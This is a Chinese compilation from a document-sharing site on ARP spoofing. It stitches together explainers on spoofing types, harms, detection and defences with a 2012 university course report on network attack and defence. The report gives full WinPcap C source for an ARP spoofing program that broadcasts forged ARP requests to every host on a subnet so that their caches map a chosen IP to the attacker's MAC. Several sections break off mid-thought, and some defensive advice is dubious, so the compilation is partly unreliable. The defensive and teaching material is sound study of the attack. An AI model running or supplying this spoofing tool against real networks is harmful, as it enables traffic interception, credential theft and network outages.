arp欺骗
- 格式:doc
- 大小:567.00 KB
- 文档页数:20
arp协议欺骗原理宝子们!今天咱们来唠唠那个有点小“坏坏”的ARP协议欺骗是咋回事儿。
咱先得知道啥是ARP协议呀。
你就把网络想象成一个超级大的社区,每个设备呢就像社区里的住户。
ARP协议就像是社区里的小喇叭,专门用来广播“我是谁,我住哪儿(我的IP地址对应的MAC地址是啥)”。
正常情况下,这个小喇叭可有用啦,它能让设备之间顺利地找到对方,然后愉快地聊天(传输数据)呢。
那ARP协议欺骗是怎么搞事情的呢?这就好比社区里突然来了个捣蛋鬼。
这个捣蛋鬼呢,会伪装成别人。
比如说,设备A想要找设备B聊天,本来是通过正常的ARP 广播知道设备B的MAC地址的。
但是这个捣蛋鬼(我们叫它恶意设备C吧)就偷偷地跟设备A说:“嗨,我就是设备B,我的MAC地址是这个哦。
”设备A呢,就这么傻乎乎地相信了,然后就把本来要发给设备B的数据发给了这个假冒的设备C。
这就像是你本来要给你的好朋友送个小礼物,结果有个坏蛋骗你说他就是你的好朋友,然后你就把礼物给了坏蛋,多气人呀!为啥这个恶意设备C能这么容易骗到设备A呢?这是因为ARP协议在设计的时候呢,比较信任网络里的消息来源。
就像咱们社区里大家都很单纯,听到有人喊自己的名字就以为是真的朋友呢。
而且呢,这个欺骗过程可快啦,设备A都来不及反应就被忽悠了。
再说说这个恶意设备C拿到数据之后会干啥。
它可能会偷偷地看这些数据,就像偷看别人的信件一样,这可涉及到隐私问题啦。
如果数据里有什么账号密码之类的敏感信息,那可就糟糕透顶了。
还有更坏的呢,它可能会修改数据再转发出去,就像在信件里乱改一通再寄给别人,这会让设备B收到错误的信息,整个网络通信就乱套了。
那我们怎么防范这个ARP协议欺骗呢?这就像是要给我们的社区加个保安一样。
一种方法是使用静态ARP表项。
就是我们直接告诉设备A,设备B的MAC地址是啥,而且这个信息不会被轻易改变,这样恶意设备C就没那么容易骗到设备A了。
还有呢,可以使用一些网络安全设备,像防火墙之类的。
arp双向欺骗的原理ARP双向欺骗的原理ARP(Address Resolution Protocol)双向欺骗是一种常见的网络攻击手段,它通过篡改网络中的ARP表,实现对网络流量的窃取和篡改。
本文将详细介绍ARP双向欺骗的原理及其危害。
一、ARP协议简介ARP协议是用于将IP地址转换为物理地址(MAC地址)的网络协议。
在网络通信过程中,主机需要将IP地址转换为对应的MAC地址才能进行数据传输。
而ARP协议就是为了解决这个问题而设计的。
ARP协议的工作原理是通过在局域网中广播ARP请求报文,询问某个IP地址对应的MAC地址。
当目标主机收到ARP请求后,会回复一个ARP响应报文,其中包含了自己的MAC地址。
发送ARP 请求的主机将根据响应报文中的MAC地址建立ARP表,以便后续的通信。
二、ARP双向欺骗的原理ARP双向欺骗是指攻击者通过篡改网络中的ARP表,使得源主机和目标主机都认为攻击者的MAC地址是合法的目标主机的MAC 地址。
这样一来,源主机和目标主机的通信流量就会经过攻击者的主机,攻击者就可以窃取、篡改或重放这些数据。
具体而言,ARP双向欺骗的原理如下:1. 攻击者首先要在局域网中监控网络流量,获取目标主机的IP地址和MAC地址。
2. 攻击者伪造一个ARP响应报文,将自己的MAC地址伪装成目标主机的MAC地址,并向源主机发送该ARP响应报文。
3. 源主机收到ARP响应后,会将攻击者的MAC地址与目标主机的IP地址绑定在一起,以后的通信流量都会发送给攻击者。
4. 攻击者同样伪造一个ARP响应报文,将自己的MAC地址伪装成源主机的MAC地址,并向目标主机发送该ARP响应报文。
5. 目标主机收到ARP响应后,会将攻击者的MAC地址与源主机的IP地址绑定在一起,以后的通信流量都会发送给攻击者。
通过这种方式,源主机和目标主机都认为攻击者的MAC地址是对方的MAC地址,从而实现了对网络流量的窃取和篡改。
arp欺骗的工作原理ARP欺骗(ARP spoofing)是指攻击者利用ARP协议的缺陷,发送伪造的ARP响应包来篡改网络中的ARP缓存,从而欺骗目标主机将其发送给目标主机的数据发送到攻击者指定的主机上。
工作原理如下:1. 攻击者首先探测网络中的主机,获取目标主机的IP地址。
2. 攻击者发送伪造的ARP响应包,以欺骗目标主机。
这个ARP响应包中包含攻击者主机的MAC地址,并将目标主机的IP地址指向攻击者主机的MAC地址。
这样,目标主机在发送数据时会将数据发往攻击者主机,而不是真正的目标主机。
3. 目标主机接收到伪造的ARP响应包后,更新其ARP缓存中的目标主机的MAC地址为攻击者主机的MAC地址。
这使得目标主机错误地将其发往目标主机的数据发送给了攻击者主机。
4. 攻击者可以选择将接收到的数据进行处理后再发送给真正的目标主机,或者干扰、截获、篡改这些数据。
通过这种方式,攻击者可以窃取目标主机的敏感信息,例如登录凭证、账户密码等。
此外,攻击者还可以中间人攻击,欺骗目标主机以为其与另一个合法主机进行通信,从而进行更多的攻击。
为了防止ARP欺骗攻击,可以采取以下措施:1. 使用静态ARP表:管理员可以手动将IP地址与MAC地址的映射关系添加到静态ARP表中,限制ARP缓存被篡改的可能性。
2. ARP监控:网络监控工具可以检测异常的ARP请求和响应包,及时发现ARP欺骗攻击的行为。
3. 网络隔离:在网络中采用隔离措施,限制攻击者接触到目标主机,减少攻击者进行ARP欺骗的机会。
4. 密钥交换协议:使用安全的密钥交换协议确保通信的机密性,这样即使攻击者成功获取数据包,也无法破解密文。
综上所述,ARP欺骗攻击利用ARP协议的漏洞来干扰网络通信,但采取适当的安全措施可以有效减少这类攻击的风险。
简述arp欺骗攻击的原理和防范对策ARP(Address Resolution Protocol)欺骗攻击是一种网络攻击技术,它利用ARP协议的特性进行欺骗、中间人攻击或局域网内的ARP 缓存中毒。
攻击者发送虚假的ARP响应消息来欺骗其他网络设备,使其将流量发送给攻击者,从而实现对网络通信的窃听、修改或阻断。
ARP协议是将IP地址映射到物理MAC地址的协议,通过向局域网中广播ARP请求,获取目标IP地址对应的MAC地址。
正常情况下,ARP请求是一个广播消息,网络上所有的设备都能收到该消息并回应自己的MAC地址。
然而,攻击者可以发送伪造的ARP响应消息,将自己的MAC地址伪装成目标的MAC地址。
这样,其他网络设备在收到欺骗者的ARP响应后,会将网络流量发送到欺骗者的MAC地址,从而攻击者就可以进行中间人攻击。
ARP欺骗攻击的原理主要包括以下几个步骤:广播欺骗请求、单播响应欺骗响应、IP间隔设备攻击、流量截获及篡改。
防范ARP欺骗攻击需要采取多层次的安全措施,包括物理层安全、网络设备安全和安全策略的制定。
一、物理层安全防范1.硬件设备安全:保证网络设备的物理安全,避免被攻击者直接接触或篡改网络设备。
2.网线加密:使用数字加密技术或物理加密设备,对通信网络中的网线进行加密处理,避免ARP欺骗攻击者通过在网线上截获数据。
3. MAC地址绑定:通过网络硬件设备的管理接口,将MAC地址与设备绑定,限制非法设备访问网络,避免ARP欺骗攻击者伪造MAC地址来进行攻击。
二、网络设备防范1.安全认证机制:为网络设备设置访问口令或使用其他身份验证方法,只允许授权设备进行网络操作,避免非法设备接入网络。
2. MAC地址过滤:设置ACL(Access Control List)策略,限制网络中不合法的MAC地址出现,只允许合法设备进行通信。
3. ARP缓存绑定:为网络设备的ARP缓存表添加绑定条目,将IP 地址与MAC地址进行绑定,确保只有指定的MAC地址可以响应对应的IP地址。
ARP欺骗的种类及危害ARP欺骗(Address Resolution Protocol Spoofing)是一种网络攻击手段,它利用ARP协议的漏洞,通过伪造和欺骗的方式,将网络中其他计算机的IP地址与MAC地址映射关系篡改,从而对网络通信进行非法的监控、劫持或伪装。
ARP欺骗的种类和危害主要包括以下几个方面:1.单向ARP欺骗单向ARP欺骗是指攻击者在局域网中发送大量的伪造ARP响应报文,将受害者的IP地址与自己的MAC地址映射关系发送给网关路由器。
当局域网中其他计算机将数据包发送给受害者时,数据包会被发送至攻击者的计算机,攻击者可以对数据包进行监控、篡改或拦截。
这种攻击方式可以窃取受害者的敏感信息,如账号密码、通信内容等。
此外,在拦截数据包后,攻击者还可以利用ARP欺骗进行中间人攻击,进一步伪装成受害者与其他计算机进行通信,从而迷惑其他计算机的身份。
2.反向ARP欺骗反向ARP欺骗是指攻击者在局域网中发送大量的伪造ARP请求报文,将受害者的IP地址与攻击者的MAC地址映射关系发送给受害者。
当受害者接收到伪造的ARP请求报文后,会将自己的IP地址与攻击者的MAC地址的映射关系写入ARP缓存中,从而将其所有网络通信的数据包发送给攻击者。
这种攻击方式可以使受害者完全失去对自己通信数据的控制,攻击者可以窃取所有的数据包,并对其进行监控、篡改或拦截。
3.双向ARP欺骗总的来说,ARP欺骗的危害主要包括以下几个方面:1.数据窃取:攻击者可以窃取通过ARP欺骗获得的数据包,包括用户的账号密码、敏感信息等。
2.数据篡改:攻击者可以对数据包进行篡改,破坏数据的完整性和可信性。
3.中间人攻击:攻击者可以利用ARP欺骗将自己伪装成通信双方之一,从而窃取双方的通信内容或者篡改通信内容。
4.拒绝服务攻击:攻击者可以通过ARP欺骗使网络中的计算机无法正常通信,从而导致网络服务的不可用。
5.传播恶意软件:攻击者可以利用ARP欺骗将受害者的数据包重定向至自己的恶意服务器上,从而传播病毒、木马等恶意软件。
arp欺骗原理ARP欺骗原理是一种利用ARP(地址解析协议)的漏洞,对局域网内的设备进行网络攻击的方法。
ARP协议是用于将IP地址转换为物理MAC地址的协议。
一般情况下,设备在进行网络通信时会先发送一个ARP请求,询问特定IP地址的设备的MAC地址。
然后接收到该请求的设备会返回一个包含自己MAC地址的ARP响应。
这样,源设备就可以将目标设备的IP与MAC地址关联起来,从而建立通信。
ARP欺骗利用的是ARP协议没有验证对方身份的漏洞。
攻击者可以通过伪造ARP请求或响应,将自己的MAC地址伪装成目标设备的MAC地址,以欺骗其他设备。
具体来说,下面是ARP欺骗的过程:1. 攻击者向局域网内发送ARP请求,询问目标设备的MAC地址。
2. 正常情况下,目标设备会回复一个包含自己MAC地址的ARP响应给攻击者。
3. 攻击者接收到ARP响应后,将自己的MAC地址伪装成目标设备的MAC地址,并不断发送伪造的ARP响应给其他设备。
4. 其他设备在接收到伪造的ARP响应后,会更新自己的ARP缓存表,将目标设备的IP地址与攻击者的MAC地址关联起来。
5. 当其他设备要与目标设备进行通信时,会将数据发送给攻击者的MAC地址,而攻击者则可以选择拦截、篡改、窃取这些数据。
通过ARP欺骗,攻击者可以获取其他设备的通信数据,进行拦截、篡改甚至窃取敏感信息。
此外,攻击者也可以通过将自己的MAC地址伪装成路由器的地址,实施中间人攻击,劫持网络通信。
为了防止ARP欺骗,可以采取以下措施:1. 搭建虚拟局域网(VLAN)进行隔离,限制ARP欺骗的范围。
2. 使用静态ARP表,手动添加设备的MAC地址与对应IP地址的映射,避免受到伪造的ARP响应的影响。
3. 定期清除ARP缓存表,更新设备的MAC地址。
4. 在网络中使用密钥认证机制,如802.1X,限制未授权设备的接入。
5. 使用加密的通信协议,确保数据在传输过程中的安全性。
以上是ARP欺骗的原理和防范措施的简要介绍,这种攻击方法在实际中仍然存在,并需要网络管理员和用户采取一系列的措施来保护网络安全。
arp欺骗的解决方案1.引言1.1 概述ARP欺骗是一种常见的网络攻击手段,攻击者利用ARP协议的漏洞,通过发送虚假的ARP响应帧来篡改目标主机的ARP缓存表,从而达到欺骗目标主机的目的。
这种攻击会给网络带来严重的安全风险,可能导致数据泄露、网络崩溃甚至入侵。
本文旨在探讨ARP欺骗的解决方案,以帮助用户更好地应对网络攻击。
文章将介绍两种主要的解决方案:使用静态ARP表和使用ARP防火墙。
这两种方案不仅可以帮助用户有效应对ARP欺骗攻击,还能提升网络的安全性和稳定性。
在介绍解决方案之前,我们先对ARP欺骗的原理和危害进行了解和分析。
通过深入理解ARP欺骗攻击的原理,我们能更好地认识到这种攻击对网络安全造成的威胁,进而更好地理解解决方案的重要性和必要性。
接下来,我们将详细介绍解决方案一:使用静态ARP表。
通过使用静态ARP表,用户可以手动将IP地址和MAC地址的映射关系设置为固定值,有效地防止ARP欺骗攻击。
我们将介绍如何正确配置和管理静态ARP 表,并探讨其优势和劣势。
然后,我们将讨论解决方案二:使用ARP防火墙。
ARP防火墙是一种软件或硬件设备,通过监测和过滤网络中的ARP请求和响应,可以检测和阻止恶意ARP欺骗行为。
我们将介绍ARP防火墙的原理和配置方法,以及其在网络安全方面的优势和不足之处。
最后,我们将对本文进行总结,并对所介绍的解决方案进行评价。
我们将从安全性、实用性和成本等方面对这两种解决方案进行评估,以帮助读者全面了解和选择适合自身需求的解决方案。
通过本文的阅读,读者将能够了解ARP欺骗攻击的危害,掌握两种常见的解决方案,并能根据自身的实际情况和需求选择适合的解决方案,提升网络的安全性和稳定性。
1.2 文章结构文章结构部分的内容可以描述文章的整体框架和组织方式,以及各部分的主要内容和目标。
具体内容可以参考以下示例:文章结构:本文主要分为以下几个部分:引言、正文和结论。
引言部分:在引言部分,我们将首先概述ARP欺骗的背景和现状,介绍该问题对计算机网络和信息安全的危害。
高手教你辨别ARP欺骗原理及防范被骗经常听到身边的朋友说,自己电脑的网络又被啥啥攻击了,经常有一些不道德的人用ARP欺骗软件攻击别人,让很多人掉线,甚至让整个网络都瘫痪。
针对这个问题,我们首先先来了解下它的攻击原理及欺骗原理,深受其害的朋友们赶紧来看看。
一,ARP欺骗的原理如下:假设这样一个网络,一个Hub接了3台机器HostA HostB HostC 其中A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AAB的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BBC的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC正常情况下C:\arp -aInterface: 192.168.10.1 on Interface 0x1000003Internet Address Physical Address Type192.168.10.3 CC-CC-CC-CC-CC-CC dynamic现在假设HostB开始了罪恶的ARP欺骗:B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。
当A接收到B伪造的ARP应答,就会更新本地的ARP 缓存(A可不知道被伪造了)。
而且A不知道其实是从B发送过来的,A这里只有192.168.10.3(C的IP地址)和无效的DD-DD-DD-DD-DD-DD mac地址,没有和犯罪分子B相关的证据,哈哈,这样犯罪分子岂不乐死了。
现在A机器的ARP缓存更新了:C:\arp -aInterface: 192.168.10.1 on Interface 0x1000003Internet Address Physical Address Type192.168.10.3 DD-DD-DD-DD-DD-DD dynamic这可不是小事。
arp欺骗概念
ARP欺骗(Address Resolution Protocol spoofing)是一种网络
攻击手段,通过欺骗网络中的设备,使其将数据发送到错误的目的地。
ARP是一种用于将IP地址映射到物理MAC地址的
协议,用于在局域网中确定数据包的目标地址。
ARP欺骗攻击者通常会发送伪造的ARP响应消息,欺骗目标
设备将数据包发送到错误的MAC地址。
这可能导致目标设备
无法与正确的网络资源通信,或将数据包发送到攻击者控制的恶意地址。
ARP欺骗攻击的目的包括:
- 拦截网络通信:攻击者可以捕获、监视、修改或篡改目标设
备和网络资源之间的通信。
- 中间人攻击:攻击者可以作为中间人,从而截获目标设备和
网络资源之间的通信,并进行恶意操作,例如窃取敏感信息。
- DoS攻击:通过将目标设备的数据包发送到一个无效的地址,可以导致目标设备无法正常访问网络资源,从而造成拒绝服务(Denial of Service)攻击。
为了防止ARP欺骗攻击,可以采取以下措施:
- 使用静态ARP表:在网络设备中手动配置静态ARP表,将
IP地址与MAC地址形成纯粹的映射关系,不受ARP请求的
影响。
- 使用ARP防火墙:部署ARP防火墙来监视和筛选ARP请求
和响应,阻止伪造的ARP消息。
- 使用网络监控工具:使用网络监控工具来检测和识别可能的
ARP欺骗攻击,并采取相应的措施应对。
总之,ARP欺骗是一种利用ARP协议的漏洞,对网络安全构成威胁的攻击手段。
采取适当的防护措施可以提高网络的安全性。
如何判断ARP欺骗ARP欺骗(Address Resolution Protocol,ARP Spoofing)是一种网络攻击方法,攻击者伪装成局域网内的正常主机,向目标主机发送虚假ARP响应,使目标主机将流量发送到攻击者控制的设备上。
为了判断ARP欺骗,我们可以采取以下方法:1.观察网络性能:ARP欺骗可能会导致网络延迟、丢包等问题。
如果你发现你的网络表现异常,尤其是在大量数据传输时,这可能是ARP欺骗的迹象。
2. 观察网络连接:使用Wireshark等网络抓包工具,观察网络流量。
注意观察同一网络内其他主机的ARP响应,看是否有多个主机使用相同的MAC地址进行响应。
如果有,这可能表示存在ARP欺骗。
3. 检查ARP缓存:在Windows系统中,可以使用命令"arp -a"查看本地ARP缓存,或者在Linux系统中使用命令"arp"查看。
检查缓存中的IP地址和MAC地址是否匹配。
如果存在IP地址对应的多个MAC地址,那么这可能是ARP欺骗的迹象。
4. 检查路由表:如果你怀疑存在ARP欺骗,可以检查路由表,观察与已知合法网关的路由是否被篡改。
在Windows系统中,可以使用命令"route print"查看路由表。
5. 使用ARP防火墙:ARP防火墙可以防止ARP欺骗攻击。
这些工具可以监视和检测ARP请求和响应,根据预先配置的规则对流量进行过滤和阻断。
常用的ARP防火墙工具包括XArp、ArpGuard等。
6.使用交换机的安全功能:交换机上通常具有ARP安全功能,可以预先配置只允许指定MAC地址的主机发送ARP响应。
通过配置交换机,可以确保只有授权设备可以发送ARP响应,从而有效地抵御ARP欺骗攻击。
7.使用网络入侵检测与防御系统(IDPS):网络IDPS可以检测和阻断ARP欺骗攻击。
这些系统通过监控和分析网络流量,识别出异常ARP响应,并采取相应措施进行阻断。
湘南学院课程设计报告课程名称:网络攻击与防御技术实验题目: ARP欺骗程序的实现院系:专业:班级:姓名,学号:指导老师:二○一二年十月二十日目录1.前言 (3)1.1ARP简介 (3)1.2课程研究目的和意义 (3)2.需求分析 (4)3.开发环境及程序框架 (5)3.1开发环境 (5)3.2程序框架 (5)3.2实现设计的内容 (6)4.安装WinPcap (7)4.1WinPcap简介 (7)4.2WinPcap功能 (7)4.1WinPcap安装 (8)5.程序主要代码 (11)5.1主程序代码 (11)6.程序的运行 (16)6.1程序运行过程 (16)7.总结 (18)7.1程序总结 (18)1.前言1.1ARP简介ARP(Address Resolution Protocol,地址解析协议)是获取物理地址的一个TCP/IP协议。
某节点的IP地址的ARP请求被广播到网络上后,这个节点会收到确认其物理地址的应答,这样的数据包才能被传送出去。
ARP(是一个位于TCP/IP协议)栈中的底层协议,对应于数据链路层,负责将某个IP地址解析成对应的MAC地址。
ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。
ARP是一种将IP地址转化成物理地址的协议。
从IP地址到物理地址的映射有两种方式:表格方式和非表格方式。
ARP具体说来就是将网络层(IP层,也就是相当于OSI的第三层)地址解析为数据连接层(MAC层,也就是相当于OSI的第二层)的MAC地址。
1.2课程研究目的和意义ARP欺骗是黑客黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。
它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。
第二种ARP欺骗的原理是——伪造网关。
它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。
在PC看来,就是上不了网了,“网络掉线了”。
一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。
有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。
而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。
为此,宽带路由器背了不少“黑锅”。
我们研究的目的就是为了程序实现ARP欺骗,对ARP欺骗进行进一步的认识并提出防范。
2.需求分析现在的网络已经越来越不安全了,ARP欺骗也越来越多,而ARP欺骗带来的问题也随之增多。
我们要学会解决这些问题。
ARP的工作原理是首先,每台主机都会在自己的ARP缓冲区中建立一个 ARP列表,以表示IP地址和MAC地址的对应关系。
当源主机需要将一个数据包要发送到目的主机时,会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址,如果有﹐就直接将数据包发送到这个MAC地址;如果没有,就向本地网段发起一个ARP请求的广播包,查询此目的主机对应的MAC地址。
此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。
网络中所有的主机收到这个ARP请求后,会检查数据包中的目的IP是否和自己的IP地址一致。
如果不相同就忽略此数据包;如果相同,该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中,如果ARP表中已经存在该IP的信息,则将其覆盖,然后给源主机发送一个 ARP响应数据包,告诉对方自己是它需要查找的MAC地址;源主机收到这个ARP响应数据包后,将得到的目的主机的IP地址和MAC 地址添加到自己的ARP列表中,并利用此信息开始数据的传输。
如果源主机一直没有收到ARP响应数据包,表示ARP查询失败。
ARP欺骗可以导致目标计算机与网关通信失败;更可怕的是会导致通信重定向,所有的数据都会通过攻击者的机器,因此存在极大的安全隐患。
所以我们要通过学习ARP 欺骗来解决和防范ARP欺骗带来的问题。
3.开发环境及程序框架3.1开发环境1 、虚拟机安装好Ethereal软件;2 、虚拟机安装好Ethereal软件;3 、编译工具VC;4 、WinPcap软件3.2程序框架图3.2.1程序框架3.2实现设计的内容1.理解ARP欺骗原理,利用WinPcap实现ARP欺骗。
2.用程序对局域网内任一主机实现ARP欺骗,使其IP及MAC信息在别的主机的ARP缓存中被更改。
4.安装WinPcap4.1WinPcap简介winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。
开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
WinPcap是用于网络封包抓取的一套工具,可适用于32位的操作平台上解析网络封包,包含了核心的封包过滤,一个底层动态链接库,和一个高层系统函数库,及可用来直接存取封包的应用程序界面。
Winpcap是一个免费公开的软件系统。
它用于windows系统下的直接的网络编程。
大多数网络应用程序访问网络是通过广泛使用的套接字。
这种方法很容易实现网络数据传输,因为操作系统负责底层的细节(比如协议栈,数据流组装等)以及提供了类似于文件读写的函数接口。
但是有时,简单的方法是不够的。
因为一些应用程序需要一个底层环境去直接操纵网络通信。
因此需要一个不需要协议栈支持的原始的访问网络的方法。
Winpcap提供了一个强大的编程接口,它很容易地在各个操作系统之间进行移植,也很方便程序员进行开发。
终端中依次执行以下命令,即可自动安装相应的软件功能模块。
Winpcap是一个Win32平台下用于抓包和分析的系统。
包括一个内核级别的packet filter,一个底层的DLL(packet.dll)和一个高级的独立于系统的DLL(Wpcap.dll)。
4.2WinPcap功能1.捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据包;2. 在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉;3. 在网络上发送原始的数据包;4.收集网络通信过程中的统计信息。
winpcap的主要功能在于独立于主机协议(如TCP-IP)而发送和接收原始数据包。
也就是说,winpcap不能阻塞,过滤或控制其他应用程序数据包的发收,它仅仅只是监听共享网络上传送的数据包。
因此,它不能用于QOS调度程序或个人防火墙。
目前,winpcap开发的主要对象是windows NT/2000/XP,这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me,并且MS也已经放弃了对win9x的开发。
因此本文相关的程序T-ARP 也是面向NT/2000/XP用户的。
其实winpcap中的面向9x系统的概念和NT系统的非常相似,只是在某些实现上有点差异,比如说9x只支持ANSI编码,而NT系统则提倡使用Unicode编码。
有个软件叫sniffer pro.可以作网管软件用,有很多功能,可监视网络运行情况,每台网内机器的数据流量,实时反映每台机器所访问IP以及它们之间的数据流通情况,可以抓包,可对过滤器进行设置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可从中找到邮箱用户名和密码,还有ftp用户名和密码。
它还可以在使用交换机的网络上监听,不过要在交换机上装它的一个软件。
还有一个简单的监听软件叫Passwordsniffer,可截获邮箱用户名和密码,还有ftp用户名和密码,它只能用在HUB网络上。
著名软件tcpdump及ids snort 都是基于libpcap编写的,此外Nmap扫描器也是基于libpcap来捕获目标主机返回的数据包的。
winpcap提供给用户两个不同级别的编程接口:一个基于libpcap的wpcap.dll,另一个是较底层的packet.dll。
对于一般的要与unix平台上libpcap兼容的开发来说,使用wpcap.dll是当然的选择。
4.1WinPcap安装1.打开WinPcap 4.1 Beta 4.exe文件,出现如下界面:2. WinPcap 4.1 Beta 4.exe安装完后出现如下界面:3. 解压WpdPack_4_0_2,到WinPcap4.1 Beta 4安装路径下。
4. 添加头文件和lib文件到该程序中。
具体方法:(1).tools->Directories->(Show Directories For)->Library files 添加WAPDPACK.LIB(该文件路径).(2). tools->Directories->(Show Directories For)->Include files 添加WAPDPACK.INCLUDE(该文件路径)。
5.程序主要代码5.1主程序代码#include <stdio.h>#include <C:\Program Files\WinPcap\WpdPack\Include\pcap.h>#include <conio.h>#include <C:\Program Files\WinPcap\WpdPack\Include\packet32.h>#include <C:\Program Files\WinPcap\WpdPack\Include\ntddndis.h>#include "ArpCheat.h"int main(int argc,char* argv[]){pcap_if_t *alldevs; //全部网卡列表pcap_if_t *d; //一个网卡int inum; //用户选择的网卡序号int i=0; //循环变量pcap_t *adhandle; //一个pcap实例char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区unsigned char *mac; //本机MAC地址unsigned char *packet; //ARP包unsigned long fakeIp; //要伪装成的IP地址pcap_addr_t *pAddr; //网卡地址unsigned long ip; //IP地址unsigned long netmask; //子网掩码if(argc!=2){printf("Usage: %s inet_addr\n",argv[0]);return -1;}//从参数列表获得要伪装的IP地址fakeIp = inet_addr(argv[1]);if(INADDR_NONE==fakeIp){fprintf(stderr,"Invalid IP: %s\n",argv[1]);return -1;}/* 获得本机网卡列表*/if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1){fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);exit(1);}/* 打印网卡列表*/for(d=alldevs; d; d=d->next){printf("%d", ++i);if (d->description)printf(". %s\n", d->description);elseprintf(". No description available\n");}//如果没有发现网卡if(i==0){printf("\nNo interfaces found! Make sure WinPcap is installed.\n");return -1;}//请用户选择一个网卡printf("Enter the interface number (1-%d):",i);scanf("%d", &inum);//如果用户选择的网卡序号超出有效范围,则退出if(inum < 1 || inum > i){printf("\nInterface number out of range.\n");/* Free the device list */pcap_freealldevs(alldevs);return -1;}/* 移动指针到用户选择的网卡*/for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n",mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);/* 打开网卡*/if ( (adhandle= pcap_open(d->name, // name of the device65536, // portion of the packet to capture0, //open flag1000, // read timeoutNULL, // authentication on the remote machineerrbuf // error buffer) ) == NULL){fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n",d->name);/* Free the device list */pcap_freealldevs(alldevs);return -1;}for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){//得到用户选择的网卡的一个IP地址ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;//得到该IP地址对应的子网掩码netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;if (!ip || !netmask){continue;}//看看这个IP和要伪装的IP是否在同一个子网if((ip&netmask)!=(fakeIp&netmask)){continue; //如果不在一个子网,继续遍历地址列表}unsigned long netsize = ntohl(~netmask); //网络中主机数unsigned long net = ip & netmask; //子网地址for(unsigned long n=1; n<netsize; n++){//第i台主机的IP地址,网络字节顺序unsigned long destIp = net | htonl(n);//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的packet = BuildArpPacket(mac,fakeIp,destIp);if(pcap_sendpacket(adhandle, packet, 60)==-1){fprintf(stderr,"pcap_sendpacket error.\n");}}}return 0;}/*** 获得网卡的MAC地址* pDevName 网卡的设备名称*/unsigned char* GetSelfMac(char* pDevName){static u_char mac[6];memset(mac,0,sizeof(mac));LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)){return NULL;}PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));if (OidData == NULL){PacketCloseAdapter(lpAdapter);return NULL;}//// Retrieve the adapter MAC querying the NIC driver//OidData->Oid = OID_802_3_CURRENT_ADDRESS;OidData->Length = 6;memset(OidData->Data, 0, 6);BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);if(Status){memcpy(mac,(u_char*)(OidData->Data),6);}free(OidData);PacketCloseAdapter(lpAdapter);return mac;}/*** 封装ARP请求包* source_mac 源MAC地址* srcIP 源IP* destIP 目的IP*/unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long srcIP,unsigned long destIP){static struct arp_packet packet;//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FFmemset(packet.eth.dest_mac,0xFF,6);//源MAC地址memcpy(packet.eth.source_mac,source_mac,6);//上层协议为ARP协议,0x0806packet.eth.eh_type = htons(0x0806);//硬件类型,Ethernet是0x0001packet.arp.hardware_type = htons(0x0001);//上层协议类型,IP为0x0800packet.arp.protocol_type = htons(0x0800);//硬件地址长度:MAC地址长度为0x06packet.arp.add_len = 0x06;//协议地址长度:IP地址长度为0x04packet.arp.pro_len = 0x04;//操作:ARP请求为1packet.arp.option = htons(0x0001);//源MAC地址memcpy(packet.arp.sour_addr,source_mac,6);//源IP地址packet.arp.sour_ip = srcIP;//目的MAC地址,填充0memset(packet.arp.dest_addr,0,6);//目的IP地址packet.arp.dest_ip = destIP;//填充数据,18Bmemset(packet.arp.padding,0,18);return (unsigned char*)&packet;}6.程序的运行6.1程序运行过程1.打开WINDOWS 运行菜单(DOS)输入:cmd2.打开cmd界面。